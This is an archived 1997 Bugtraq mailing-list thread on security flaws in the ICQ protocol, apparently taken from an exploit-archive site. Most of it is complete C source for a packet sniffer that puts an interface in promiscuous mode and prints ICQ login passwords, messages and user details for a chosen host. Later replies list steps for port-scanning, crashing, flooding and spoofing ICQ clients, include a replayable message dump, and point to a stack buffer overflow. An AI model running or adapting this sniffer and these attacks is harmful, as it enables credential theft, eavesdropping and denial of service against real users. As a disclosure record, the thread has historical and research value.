ICQ so-called protocol
Description: | The ICQ protocol is ridiculously simplistic and is riddled with security holes. So is the ICQ software. So ICQ users can be spoofed, have their machine crashed, or have evil haxxors run arbitrary code on their boxes. Geez, these poor users might as well run Internet Explorer! |
Author: | Alan Cox <alan@CYMRU.NET> |
Compromise: | Spoof, Crash, or exploit the buffer overflow to run arbitrary code |
Vulnerable Systems: | Mostly Windows boxes where the user is running ICQ |
Date: | 14 December 1997 |
Date: Sun, 14 Dec 1997 14:20:27 GMT
From: Alan Cox <alan@CYMRU.NET>
To: BUGTRAQ@NETSPACE.ORG
Subject: Vulnerabilities in ICQ
/*
This is a little toy to demo the weaknesses in Mirabilis ICQ system. There
are two major problems with the ICQ protocol clearly visible. As its an
unpublished proprietary system we can assume there may well be far more
lurking. Its also too apparent why they dont publish it - my guess has to
be "embarrasment factor"
The first flaw is plain dumb. They send plaintext authentication. Not only
that they send it once per session.
The second flaw is that they use easily guessable sequence numbers - starting
from 0 each user session, they use UDP and to make life even easier their
query service will tell you exactly what IP address to spoof as source when
faking them. So you can find someone is on, find their IP and spoof sequences
0->100 with a fair bet that somewhere before the 100th fake message you'll
get several hits and spoof messages. If not you can winnuke the victim so
he'll be back on a low sequence number 8)
Let us hope the proposed Rendezvous Protocol that is supposed to become
an internet draft is better designed and that the ICQ people switch to it.
There really is no excuse for using crude plaintext and simplistic sequence
spaces when five minutes thought could have resolved almost every weakness
except password change without US export controlled crypto.
I've enclosed a demo that does password sniffing for ICQ. It requires you
can work out how to set it up and it doesnt including spoofing code.
Alan
*/
/*
* Snoop ICQ traffic for a set host. Shows how simplistic ICQ is and
* how easy it is to snoop it.
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <ctype.h>
#include <sys/socket.h>
#include <net/if.h>
#include <net/if_arp.h>
#include <netinet/in.h>
#include <linux/ip.h>
#include <linux/udp.h>
/*
* PUT THE IP ADDRESS OF THE CLIENT TO SNOOP HERE OR IT WONT WORK
*/
#define MY_CLIENT_TO_WATCH 0x7F000001
static int create_socket(void)
{
int s=socket(AF_INET, SOCK_PACKET, htons(ETH_P_ALL));
if(s==-1)
{
perror("socket");
exit(1);
}
return s;
}
static void close_socket(int s)
{
close(s);
}
static void promiscuous(int s, char *iface, int onoff)
{
struct ifreq ifr;
strcpy(ifr.ifr_name, iface);
if(ioctl(s, SIOCGIFFLAGS, &ifr)==-1)
{
perror("SIOCGIFFLAGS");
exit(1);
}
strcpy(ifr.ifr_name, iface);
if(onoff)
ifr.ifr_flags|=IFF_PROMISC;
else
ifr.ifr_flags&=~IFF_PROMISC;
if(ioctl(s, SIOCSIFFLAGS, &ifr)==-1)
{
perror("SIOCSIFFLAGS");
exit(1);
}
}
static __inline__ ip_p(unsigned char *packet, int len)
{
if(packet[12]==0x08 && packet[13]==0x00)
return 1;
return 0;
}
struct icqhdr
{
unsigned char version[2] __attribute((packed)); /* ?? */
unsigned short command __attribute((packed));
unsigned short sequence __attribute((packed));
unsigned long uid __attribute((packed));
unsigned char data[0];
};
struct icqack
{
unsigned char version[2] __attribute((packed)); /* ?? */
unsigned short result __attribute((packed));
unsigned short sequence __attribute((packed));
unsigned char data[0];
};
struct icqstring
{
unsigned short len;
char data[0];
};
struct icqlogin
{
struct icqhdr hdr __attribute((packed));
unsigned long dunno __attribute((packed)); /* 000006FE.L */
unsigned short pw_len __attribute((packed));
unsigned char pw_data[11] __attribute((packed));
struct in_addr addr __attribute((packed));
/* Rest is a mystery right now */
/* 0.L */
/* 2.L */
/* 0000004C, 00000000 */
/* 00 78 */
};
static void print_icq_string(struct icqstring *s)
{
fwrite(s->data, s->len-1, 1, stdout);
}
/*
* Scan a packet for clues
*/
static int process_packet(struct sockaddr *sa, unsigned char *packet, int len)
{
int i;
int lv;
int d=0;
static long num=0;
struct iphdr *iph;
struct udphdr *udphdr;
if(strcmp(sa->sa_data,"eth0"))
return 0; /* Wrong port */
if(!ip_p(packet, len))
return 0;
iph=(struct iphdr *)(packet+14);
udphdr=(struct udphdr *)(iph+1);
/* assume no options */
lv=ntohs(udphdr->len);
if( udphdr->source !=htons(4000) && udphdr->dest!=htons(4000))
{
return 0;
}
/* printf("packet %d \r", ++num);*/
if(iph->saddr==htonl(MY_CLIENT_TO_WATCH))
{
printf("To Server: %d bytes\n", lv);
}
else if(iph->daddr==htonl(MY_CLIENT_TO_WATCH))
{
printf("From Server: %d bytes\n", lv);
d=1;
}
else return 0;
i=14+sizeof(struct iphdr);
if(len-i>lv)
len=i+lv;
i+=sizeof(struct udphdr);
/* printf("UDP size %d\n",i);*/
if(i>=sizeof(struct icqhdr)+sizeof(struct udphdr))
{
struct icqhdr *p=(struct icqhdr *)(udphdr+1);
if(d==0)
{
printf("From %ld\n",p->uid);
printf("Version: %d.%d\nCommand ",
p->version[1], p->version[0]);
switch(p->command)
{
case 0x000A:
printf("Ack");
break;
case 0x03E8:
{
struct icqlogin *il=(struct icqlogin *)p;
printf("Login Password ");
print_icq_string((struct icqstring *)&il->pw_len);
printf(" IP %s", inet_ntoa(il->addr));
break;
}
#if 0
case 0x0x??
{
struct in_addr v=*(struct in_addr *)p->data;
printf("Ping %s", inet_ntoa(v));
break;
}
#endif
case 0x409:
{
printf("Ping");
break;
}
case 0x0438:
{
struct icqstring *s=(struct icqstring *)p->data;
printf("Disconnect (");
print_icq_string(s);
printf(")");
break;
}
case 0x0456:
{
/* data +4,5 is always 0100 */
struct icqstring *s=(struct icqstring *)(p->data+6);
printf("Message to %ld ", *((long *)p->data));
print_icq_string(s);
break;
}
case 0x0460:
{
printf("Information %ld on ID %d",
*((short *)p->data),
*((long *)(p->data+2))
);
break;
}
case 0x046A:
{
printf("Information_2 %ld on ID %d",
*((short *)p->data),
*((long *)(p->data+2))
);
break;
}
case 0x04D8:
{
printf("Status ");
switch(*((long *)p->data))
{
case 0x00:
printf("[Away 0]");
break;
case 0x01:
printf("[Away 1]");
break;
case 0x10:
printf("[DND 0]");
break;
case 0x11:
printf("[DND 1]");
break;
default:
printf("%04X",
*((long *)p->data));
}
break;
}
default:
printf("%04X", p->command);
}
if(p->sequence)
printf("\nSequence %d\n",
p->sequence);
else
printf("\n");
}
}
if(i>=sizeof(struct icqack)+sizeof(struct udphdr))
{
struct icqack *p=(struct icqack *)(udphdr+1);
if(d==1)
{
printf("Version: %d.%d\nReply ",
p->version[1], p->version[0]);
switch(p->result)
{
case 0x000A:
printf("Ack");
break;
case 0x00E6:
printf("Away Reply ");
printf("for %ld",
*((long *)p->data));
break;
case 0x0118:
{
struct icqstring *is;
printf("InfoID %d\n",
*((short *)p->data));
printf("ICQ ID %ld\n",
*((long *)p->data+2));
is=(struct icqstring *)(p->data+6);
printf("Nick ");
print_icq_string(is);
is=(struct icqstring *)(((char *)is)+is->len+2);
printf("\nName ");
print_icq_string(is);
is=(struct icqstring *)(((char *)is)+is->len+2);
printf(" ");
print_icq_string(is);
is=(struct icqstring *)(((char *)is)+is->len+2);
printf("\nEMail ");
print_icq_string(is);
is=(struct icqstring *)(((char *)is)+is->len+2);
printf("\nInfo ");
print_icq_string(is);
break;
}
default:
printf("%04X", p->result);
}
if(p->sequence)
printf("\nSequence %d\n",
p->sequence);
else
printf("\n");
}
}
while(i<len)
{
int x;
for(x=0; x<8 && i+x<len; x++)
{
printf("%02X ", packet[i+x]);
}
printf(" ");
for(x=0;x<8 && i+x<len; x++)
{
unsigned char c=packet[i+x];
if(c>=32 && c< 127)
printf("%c", c);
else
printf(".");
}
printf("\n");
i+=8;
}
printf("\n");
fflush(stdout);
return 0;
}
int main(int argc, char *argv[])
{
int s;
unsigned char buf[1600];
struct sockaddr sa;
int salen;
int len;
s=create_socket();
promiscuous(s, "eth0", 1);
while(1)
{
salen=sizeof(sa);
if((len=recvfrom(s, (char *)buf, 1600, 0, &sa, &salen))==-1)
{
perror("recvfrom");
close_socket(s);
exit(1);
}
process_packet(&sa, buf,len);
}
printf("An error has occured.\n");
close_socket(s);
exit(0);
}
Date: Sun, 14 Dec 1997 21:17:14 -0500
From: Seth McGann <smm@WPI.EDU>
To: BUGTRAQ@NETSPACE.ORG
Subject: Re: Vulnerabilities in ICQ
At 14:20 12/14/97 GMT, you wrote:
The Client-To-Client Protocol used by ICQ is even worse. It does no
authentication of any kind and places all trust in the client. Spoofing
messages from arbitrary ICQ users is easy, as is sending file and chat
requests. Even worse, if the client gets anything it doesn't expect it
crashes(!) sometimes taking Windows with it. There is also no flood
protection and packet replay is possible. A few thousand messages will
slow my P166 to a crawl. The only good thing ICQ did was pick a different
port number for each session (well, not really its usually around 1024 as
windows seems to allocate port numbers in order.) So, an attack would go
as follows:
1. Port scan the target IP looking form 1024-2000 or so.
2. Send some random data to crash it. Using netcat is good for this. (or)
3. Take a valid ICQ message and resend it a million times. (or)
4. Take a valid ICQ message and change the User Identification Numbers. (or)
5. Be creative :)
To reverse engineer the protocol, simply study the results of different ICQ
activities with a sniffer or some type of Winsock watcher. I have figured
out quite a bit about the protocol and will release a more formal writeup
soon. Anyone with a few hours should be able to writeup a suitable client
message spoofer. I am writing this as I have been exploiting these
vulnerablites for quite some time and I haven't seen anything about this on
usenet or the mailing lists. As an example, I have provided the transcript
of a message.
This is an example of a simple message (there are many other types of
traffic) of "12345" from UIN 3399052:
>> 0000: 2D 00 <- Prefix (if this is wrong bad things happen)
>> 0000: 8C DD 33 00 02 00 EE 07 00 00 8C DD 33 00 01 00
>> 0010: 06 00 31 32 33 34 35 00 82 D7 F3 20 82 D7 F3 20
>> 0020: 09 04 00 00 04 00 00 10 01 ED FF FF FF
<< 0000: 28 00 <- Post fix and ACK
<< 0000: 5D 29 35 00 02 00 DA 07 00 00 5D 29 35 00 01 00
<< 0010: 01 00 00 82 D7 F3 25 82 D7 F3 25 22 07 00 00 04
<< 0020: 00 00 00 00 ED FF FF FF
Simply send this alot for a flood using netcat (ignoring the responses of
course). I wrote a few simple exploits, but they used the socket faq
library and seem redundant at this point, so I leave exploitation as an
exercise to the reader.
Seth M. McGann / smm@wpi.edu "Security is making it
http://www.wpi.edu/~smm to the bathroom in time."
KeyID: 1024/2048/5FC59C0A
Fingerprint F315 1C37 CF3C 3612 3B28 BC84 C430 BC22 5FC5 9C0A
Date: Tue, 16 Dec 1997 20:20:41 -0300
From: Solar Designer <solar@FALSE.COM>
To: BUGTRAQ@NETSPACE.ORG
Subject: Re: Vulnerabilities in ICQ
Hello,
> The Client-To-Client Protocol used by ICQ is even worse. It does no
> authentication of any kind and places all trust in the client. Spoofing
> messages from arbitrary ICQ users is easy, as is sending file and chat
> requests. Even worse, if the client gets anything it doesn't expect it
> crashes(!) sometimes taking Windows with it.
Spoofing chat requests? Crashes?
00422D4D lea ecx, [ebp-118h]
00422D53 push dword ptr [esi+18h]
00422D56 push offset aTheFollowingRe
00422D5B push ecx
00422D5C call ds:sprintf
...
004B58F8 aTheFollowingRe db 0Dh,0Ah ; DATA XREF: _text:00422D56o
004B58F8 db 'The following reason for a chat request was given: ',0Dh,0Ah
004B58F8 db ' %s',0Dh,0Ah,0
Unless there's bound checking done before we get here, this overflow is
exploitable -- the buffer is on the stack. I'm too lazy to boot Windows
to check now.
Anyway, there're 100+ references to sprintf() and strcpy() in ICQ, at least
some of these have to be exploitable. IDA (the disassembler) is even able to
detect standard MSVC functions, so you get symbolic names for them right
after the disassembly, and can open a window with the cross references list.
Signed,
Solar Designer
The master index of all exploits is available
here (Very large file)
Or you can pick your favorite operating system:
This page is part of Fyodor's exploit
world.
For a free program to automate scanning your network for vulnerable
hosts and services, check out my network mapping tool, nmap. Or try these Insecure.Org resources: